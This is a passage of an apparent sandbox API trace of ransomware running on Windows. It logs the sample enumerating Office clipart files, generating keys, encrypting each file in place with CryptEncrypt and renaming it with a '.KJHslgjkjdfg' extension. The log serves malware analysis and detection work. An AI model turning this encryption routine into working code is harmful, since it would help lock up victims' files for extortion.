phKey=0x29df274*=0x9b6628) returned 1 [0189.756] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.757] GetProcessHeap () returned 0x990000 [0189.757] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.757] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.757] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.757] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.757] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.757] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.757] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.757] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.757] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.757] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.757] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.757] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.757] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2ce2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2ce2, lpOverlapped=0x0) returned 1 [0189.758] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2cf0, dwBufLen=0x2cf0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2cf0) returned 1 [0189.758] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.758] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2cf0, lpOverlapped=0x0) returned 1 [0189.758] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.758] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2dc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.758] SetEndOfFile (hFile=0x130) returned 1 [0189.761] GetProcessHeap () returned 0x990000 [0189.761] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.761] GetProcessHeap () returned 0x990000 [0189.761] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.761] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf.kjhslgjkjdfg")) returned 1 [0189.762] CloseHandle (hObject=0x130) returned 1 [0189.762] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39dc9c00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39dc9c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x2454, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00681_.WMF", cAlternateFileName="")) returned 1 [0189.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.763] GetProcessHeap () returned 0x990000 [0189.763] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.763] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.763] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.763] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0189.765] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.765] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.765] GetProcessHeap () returned 0x990000 [0189.765] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.765] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.765] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.765] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.765] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.765] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.765] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.765] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.765] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.765] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.765] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.765] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.765] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2454, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2454, lpOverlapped=0x0) returned 1 [0189.766] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2460, dwBufLen=0x2460 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2460) returned 1 [0189.766] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.766] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2460, lpOverlapped=0x0) returned 1 [0189.766] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.766] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2534, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.766] SetEndOfFile (hFile=0x130) returned 1 [0189.769] GetProcessHeap () returned 0x990000 [0189.769] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.769] GetProcessHeap () returned 0x990000 [0189.769] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.769] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf.kjhslgjkjdfg")) returned 1 [0189.770] CloseHandle (hObject=0x130) returned 1 [0189.770] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cf47e00, ftCreationTime.dwHighDateTime=0x1bd4b1e, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3cf47e00, ftLastWriteTime.dwHighDateTime=0x1bd4b1e, nFileSizeHigh=0x0, nFileSizeLow=0xfc0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00685_.WMF", cAlternateFileName="")) returned 1 [0189.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.770] GetProcessHeap () returned 0x990000 [0189.770] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.770] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.770] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.770] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.770] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.770] GetProcessHeap () returned 0x990000 [0189.770] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.770] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.770] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.771] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.772] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.773] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.773] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.773] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.773] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.773] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.773] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.773] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.773] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xfc0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xfc0, lpOverlapped=0x0) returned 1 [0189.773] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xfc0, dwBufLen=0xfc0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xfc0) returned 1 [0189.773] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.773] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xfc0, lpOverlapped=0x0) returned 1 [0189.773] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.773] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1094, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.773] SetEndOfFile (hFile=0x130) returned 1 [0189.776] GetProcessHeap () returned 0x990000 [0189.776] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.776] GetProcessHeap () returned 0x990000 [0189.776] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.776] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf.kjhslgjkjdfg")) returned 1 [0189.777] CloseHandle (hObject=0x130) returned 1 [0189.777] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c816800, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9c816800, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x10f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00687_.WMF", cAlternateFileName="")) returned 1 [0189.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.778] GetProcessHeap () returned 0x990000 [0189.778] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.778] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.778] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.779] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0189.780] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.780] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.780] GetProcessHeap () returned 0x990000 [0189.780] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.780] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.780] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.780] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.780] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.780] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.780] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.780] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.780] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.780] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.780] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.780] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.780] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x10f4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x10f4, lpOverlapped=0x0) returned 1 [0189.781] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1100, dwBufLen=0x1100 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1100) returned 1 [0189.781] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.781] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1100, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1100, lpOverlapped=0x0) returned 1 [0189.781] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.781] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x11d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.781] SetEndOfFile (hFile=0x130) returned 1 [0189.783] GetProcessHeap () returned 0x990000 [0189.783] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.783] GetProcessHeap () returned 0x990000 [0189.783] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.783] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf.kjhslgjkjdfg")) returned 1 [0189.784] CloseHandle (hObject=0x130) returned 1 [0189.784] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x159db100, ftCreationTime.dwHighDateTime=0x1bd4b1e, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x159db100, ftLastWriteTime.dwHighDateTime=0x1bd4b1e, nFileSizeHigh=0x0, nFileSizeLow=0x1bac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00688_.WMF", cAlternateFileName="")) returned 1 [0189.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.784] GetProcessHeap () returned 0x990000 [0189.785] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.785] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.785] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.785] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.788] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.788] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.788] GetProcessHeap () returned 0x990000 [0189.788] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.788] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.788] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.788] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.788] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.788] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.789] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.789] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.789] WriteFile (in: 